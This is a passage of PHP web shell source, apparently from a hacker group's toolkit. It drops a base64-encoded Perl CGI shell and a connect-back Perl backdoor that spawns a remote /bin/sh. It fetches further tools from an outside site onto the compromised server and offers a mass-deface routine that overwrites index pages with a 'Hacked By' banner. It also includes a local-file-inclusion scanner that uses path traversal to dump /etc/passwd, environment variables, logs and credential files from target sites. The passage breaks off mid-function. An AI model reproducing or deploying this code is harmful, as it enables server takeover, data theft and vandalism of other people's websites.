2380YW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2381LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQomUmVhZFBh
2382cnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307
2383CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dvcmQgPSAkaW57
2384J3AnfTsKJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Owok
2385T3B0aW9ucyA9ICRpbnsnbyd9OwoKJEFjdGlvbiA9ICRpbnsnYSd9OwokQWN0aW9uID0gImxvZ2lu
2386IiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoK
2387IyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRl
2388ZAokQ3VycmVudERpciA9ICRpbnsnZCd9OwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBp
2389ZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBl
2390cSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2Vy
2391IG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwoKfQplbHNpZigkQWN0aW9uIGVx
2392ICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21t
2393YW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQg
2394YSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1
2395c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRB
2396Y3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dv
2397dXQ7Cn0=';
2398
2399$file = fopen("izo.cin" ,"w+");
2400$write = fwrite ($file ,base64_decode($cgishellizocin));
2401fclose($file);
2402 chmod("izo.cin",0755);
2403$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
2404MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
2405ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
2406MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
2407ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
2408MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
2409Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
2410KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
2411SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
2412ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
2413UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
2414VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
2415ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
2416JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
2417bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
2418ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
2419YXRhY2hlZFxuXG4iOw==';
2420
2421$file = fopen("dc.pl" ,"w+");
2422$write = fwrite ($file ,base64_decode($netcatshell));
2423fclose($file);
2424 chmod("dc.pl",0755);
2425 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
2426echo '</div>';
2427printFooter();
2428
2429}
2430function actionPSymlink() {
2431
2432printHeader();
2433echo " <center> ";
2434
2435 $telnetfile = 'telnet213'; // Perl tools file
2436
2437 $link = "http: //www.the-code.tk/phh"; // Tools source link (without slash '/' in end)
2438$perlfiles = array(".htaccess", "users.gif", "izo.gif", "config.gif");
2439$name = basename($_SERVER['PHP_SELF']); // Returns trailing name component of path.
2440$url0 = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
2441$url = str_replace("$name", '', $url0);
2442// Style :
2443echo "<h1>.:: PERL TOOLS ::.</h1>";
2444echo "<div class=content>";
2445if (!file_exists($telnetfile))
2446{
2447@mkdir($telnetfile);
2448@chmod("$telnetfile", 0755);
2449}
2450if (file_exists($telnetfile)) {
2451foreach ($perlfiles as $file) {
2452$tool = fopen("$telnetfile/$file", "w+");
2453if (@eregi('htaccess', $file)) {
2454$file = str_replace(".", '', $file);
2455}
2456$toolcontents = @file_get_contents("$link/perl/$file.txt");
2457$write = fwrite($tool, $toolcontents);
2458fclose($tool);
2459if ($write) {
2460if (@eregi('htaccess', $file)) {
2461$file = ".$file";
2462}
2463echo "<font color=#969696>The <b>$file</b> File Was Created Successfuly.==><a href='$url/$telnetfile/$file' target='_blank'><u>$file</u></a></font><br>";
2464} else {
2465echo "<font color=red>ERROR: Cannot Create <b>$file</b> File !! </font><br>";
2466}
2467@chmod("$telnetfile/$file", 0755);
2468}
2469}
2470printFooter();
2471 }
2472function actionDeface() {
2473printHeader();
2474echo "<h1>Single User Mass Deface by R3liGiOus HuNt3r</h1><div class=content>";
2475?>
2476<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
2477<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
2478<br>File Name : <input type=text name=file size=20 value="index.php">
2479<br>Text Content : <textarea rows="9" cols="70" name="Contents">
2480<html>
2481<head>
2482<title>~~~ H@cked By R3liGiOus HuNt3r ~~~</title>
2483<link rel="icon" type="image/png" href="http://s20.postimg.org/gfg5gty7h/logo3_croped.jpg">
2484</head>
2485<body style="text-shadow:0px 0px 7px blue; text-align:center;">
2486<h1><font style= "text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold; font-size:50px;">..:: H@cked By R3liGiOus HuNt3r ::..</br></font>
2487<font style= "font-size:40px; text-shadow: 0px 0px 6px rgb(100, 0, 255), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold;">~~~ We are ErrOr SquaD ~~~</font>
2488</h1>
2489<img src="http://s20.postimg.org/gfg5gty7h/logo3_croped.jpg" height="320" width="340" />
2490<br><br><h3><font color="red">-</font>:<font color="red">-</font>
2491<img src="http://s16.postimg.org/qxmiahuat/Ser_Ver_Ghosts.png" width="2%"><b>_We Are <font>Err<font color="red" >O</font>r <font color="#aa00ff">SquaD</font>_
2492<img src="http://s16.postimg.org/qxmiahuat/Ser_Ver_Ghosts.png" width="2%">
2493<font color="red">-</font>:<font color="red">-</font><br></h3>
2494<hr/>
2495<marquee behavior="scroll" direction="left" scrollamount="4" scrolldelay="55" width="80%"><font size="5">
2496 <font color="#00ff19"> << </font><font color="red">Greetz <font color="#00ff19">:::</font> <font color="blue">L10N</font><font color="green"> M1N1</font> // <font color="#7b00fd">D4RK </font><font color="#fd00bc">COD3R</font> // <font color="#2aff00">H34rtl355</font> <font color="#f9fd00">H4CK3R</font> // <font color="#000000">Leg!on</font> <font color="#a0d300">Bomb3r</font> // <font color="#00ff7c">ch4rli3</font>.<font color="#d387fc">t4lk</font> // <font color="#ff0080">cyb3r</font> <font color="red">missil3</font> // <font color="#aa00ff">R<sub><font color="red" size="5">3</sub></font>liGiOus</font><font color="#00fdde"> HuNt<sub><font color="red" size="5">3</sub></font>r</font> <font color="#00ff19"> >></font></font>
2497</marquee>
2498<hr />
2499<font size="5">Bangladeshi Rising Hacker Team<br />
2500© <font>Err<font color="red">O</font>r <font color="#aa00ff">SquaD</font> | all rights reserved 2016</font></font></b>
2501</body>
2502</html>
2503</textarea>
2504<br><input type=submit value="Deface"></p></form>
2505
2506<?php
2507if ($_POST['a'] == 'Deface') {
2508$mainpath = $_POST[p1];
2509$file = $_POST[p2];
2510$txtContents = $_POST[p3];
2511echo "---------------------------------------------------------------------<br>
2512[+] Mass defacer by R3liGiOis HuNt3r [+]<br>
2513---------------------------------------------------------------------<br><br> ";
2514$dir = opendir($mainpath);
2515while ($row = readdir($dir)) {
2516$start = @fopen("$row/$file", "w+");
2517$code = $txtContents;
2518$finish = @fwrite($start, $code);
2519if ($finish) {
2520echo "$row/$file > Done<br><br>";
2521}
2522}
2523echo "---------------------------------------------------------------------<br>[+] Script by R3liGiOus HuNt3r [+]
2524<br>---------------------------------------------------------------------";
2525}
2526echo '</div>';
2527printFooter();
2528}
2529
2530function actionlfiscan() {
2531 printHeader();
2532 print '
2533 <h1>LFI File dumper By R3liGiOus HuNt3r</h1><div class=content>
2534
2535 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
2536 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
2537 <option value="1">
2538 Access Log
2539 </option>
2540
2541 <option value="2">
2542 httpd.conf
2543 </option>
2544
2545 <option value="3">
2546 Error Log
2547 </option>
2548 <option value="4">
2549 php.ini
2550 </option>
2551 <option value="5">
2552 MySQL
2553 </option>
2554 <option value="6">
2555 FTP
2556 </option>
2557 <option value="7">
2558 Environ
2559 </option>
2560 </select> Null: <select name="null">
2561 <option value="%00">
2562 Yes
2563 </option>
2564
2565 <option value="">
2566 No
2567 </option>
2568 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
2569 </form></div>';
2570 error_reporting(0);
2571 if($_POST['lfiurl']) {
2572 print "<pre>";
2573 $cheader = $_POST['custom_header'];
2574 $target = $_POST['lfiurl'];
2575 $type = $_POST['scantype'];
2576 $byte1 = $_POST['null'];
2577 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
2578 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
2579 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
2580 $lfiaccess = array(
2581 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
2582 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
2583 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
2584 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
2585 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
2586 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
2587 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
2588 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
2589 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
2590 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
2591 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
2592 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
2593 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
2594 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
2595 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
2596 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
2597 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
2598 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
2599 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
2600 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
2601 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
2602 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
2603 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
2604
2605 $lfierror = array(
2606 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
2607 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
2608 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
2609 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
2610 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
2611 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
2612 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
2613 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
2614 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
2615 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
2616 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
2617 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
2618 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
2619 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
2620 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
2621 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
2622 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
2623 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
2624 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
2625 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
2626 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
2627 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
2628 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
2629
2630 $lficonfig = array(
2631 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
2632 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
2633 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
2634 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
2635 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
2636 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
2637 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
2638 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
2639 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
2640 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
2641 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
2642 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
2643 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
2644 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
2645 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
2646 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
2647 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
2648 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
2649 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
2650 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
2651 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
2652 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
2653 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
2654 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
2655 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
2656 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
2657 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
2658 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
2659 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
2660 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
2661 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
2662 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
2663 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
2664 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
2665 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
2666
2667 $lfiphpini = array(
2668 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
2669 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
2670 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
2671 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
2672 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
2673 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
2674 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
2675 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
2676 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
2677 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
2678 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
2679 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
2680 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
2681 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
2682 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
2683 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
2684 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
2685 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
2686 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
2687 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
2688 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
2689 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
2690 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
2691 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
2692 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
2693 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
2694 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
2695
2696 $lfimysql = array(
2697 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2698 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
2699 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
2700 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
2701 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
2702 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
2703 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
2704 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
2705 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
2706 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
2707
2708 $lfiftp = array(
2709 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2710 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
2711 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
2712 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
2713 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
2714 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
2715 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
2716 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
2717 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
2718 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
2719 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
2720 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
2721 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
2722 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
2723 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
2724 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
2725 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
2726 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
2727 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
2728 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
2729 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
2730 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
2731 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
2732 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
2733 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
2734 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
2735 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
2736 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
2737 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
2738 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
2739 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
2740 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
2741 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
2742 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
2743 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
2744 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
2745 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
2746 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
2747 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
2748 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
2749 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
2750 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
2751 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
2752 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
2753
2754
2755 $x = 1;
2756 if ( $type == 1 ) {
2757 $res1 = FetchURL($target.$lfitest);
2758 $res2 = FetchURL($target.$lfitest2);
2759 $rhash1 = md5($res1);
2760 $rhash2 = md5($res2);
2761 if ($rhash1 != $rhash2) {
2762 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2763 while($lfiaccess[$x]) {
2764 $res3 = FetchURL($target.$lfiaccess[$x]);
2765 $rhash3 = md5($res3);
2766 if ($rhash3 != $rhash2) {
2767 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
2768 }
2769 else {
2770 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
2771 }
2772 $x++;
2773 }
2774 }
2775 }
2776 if ( $type == 2 ) {
2777 $res1 = FetchURL($target.$lfitest);
2778 $res2 = FetchURL($target.$lfitest2);
2779 $rhash1 = md5($res1);
2780 $rhash2 = md5($res2);
2781 if ($rhash1 != $rhash2) {
2782 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2783 while($lficonfig[$x]) {
2784 $res3 = FetchURL($target.$lficonfig[$x]);
2785 $rhash3 = md5($res3);
2786 if ($rhash3 != $rhash2) {
2787 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
2788 }
2789 else {
2790 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
2791 }
2792 $x++;
2793 }
2794 }
2795 }
2796 if ( $type == 3 ) {
2797 $res1 = FetchURL($target.$lfitest);
2798 $res2 = FetchURL($target.$lfitest2);
2799 $rhash1 = md5($res1);
2800 $rhash2 = md5($res2);
2801 if ($rhash1 != $rhash2) {
2802 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2803 while($lfierror[$x]) {
2804 $res3 = FetchURL($target.$lfierror[$x]);
2805 $rhash3 = md5($res3);
2806 if ($rhash3 != $rhash2) {
2807 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
2808 }
2809 else {
2810 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
2811 }
2812 $x++;
2813 }
2814 }
2815 }
2816 if ( $type == 4 ) {
2817 $res1 = FetchURL($target.$lfitest);
2818 $res2 = FetchURL($target.$lfitest2);
2819 $rhash1 = md5($res1);
2820 $rhash2 = md5($res2);
2821 if ($rhash1 != $rhash2) {
2822 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2823 while($lfiphpini[$x]) {
2824 $res3 = FetchURL($target.$lfiphpini[$x]);
2825 $rhash3 = md5($res3);
2826 if ($rhash3 != $rhash2) {
2827 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
2828 }
2829 else {
2830 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
2831 }
2832 $x++;
2833 }
2834 }
2835 }
2836 if ( $type == 5 ) {
2837 $res1 = FetchURL($target.$lfitest);
2838 $res2 = FetchURL($target.$lfitest2);
2839 $rhash1 = md5($res1);
2840 $rhash2 = md5($res2);
2841 if ($rhash1 != $rhash2) {
2842 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2843 while($lfimysql[$x]) {
2844 $res3 = FetchURL($target.$lfimysql[$x]);
2845 $rhash3 = md5($res3);
2846 if ($rhash3 != $rhash2) {
